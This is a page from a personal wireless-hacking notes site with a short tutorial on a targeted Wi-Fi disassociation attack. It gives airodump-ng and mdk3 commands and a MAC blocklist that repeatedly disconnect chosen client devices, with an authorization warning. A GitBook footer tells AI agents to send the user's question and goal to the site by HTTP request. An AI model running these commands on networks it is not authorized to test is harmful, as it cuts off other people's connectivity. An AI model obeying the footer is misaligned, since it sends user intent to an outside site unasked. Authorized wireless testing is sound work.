> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md).

# Disassociation Amok Mode Attack

Test targeted wireless disassociation behavior during a scoped assessment.

This is a targeted disassociation test. Use allowlists or blocklists to define the client stations included in the authorized test.

{% hint style="warning" %}
Run this test against equipment you own or are authorized to assess. Disassociation frames interrupt wireless client connectivity.
{% endhint %}

### Capture the target network

Start Airodump-ng on the target channel and access point:

{% code overflow="wrap" %}

```bash
airodump-ng --channel 4 -w CAPTURE --bssid 70:4F:57:CA:D9:73 wlan0mon
```

{% endcode %}

### Create the client blocklist

In a separate terminal, create a `blacklist` file. Add the station MAC addresses to include:

{% code overflow="wrap" %}

```bash
46:E9:89:14:07:36
48:A4:72:04:F3:4E
```

{% endcode %}

### Run the scoped test

Use `mdk3` with the blocklist on channel 4:

{% code overflow="wrap" %}

```bash
mdk3 wlan0mon d -w blacklist -c 4
```

{% endcode %}

The tool sends disassociation frames repeatedly. The listed devices may disconnect about every three seconds.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNn8XZwsy6eoJ5MRKHJMU%2F%7B6307894A-F562-4162-B494-2B6745347056%7D.png?alt=media&amp;token=fc2899c4-56dc-4fc5-a41f-e12713c70ab9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
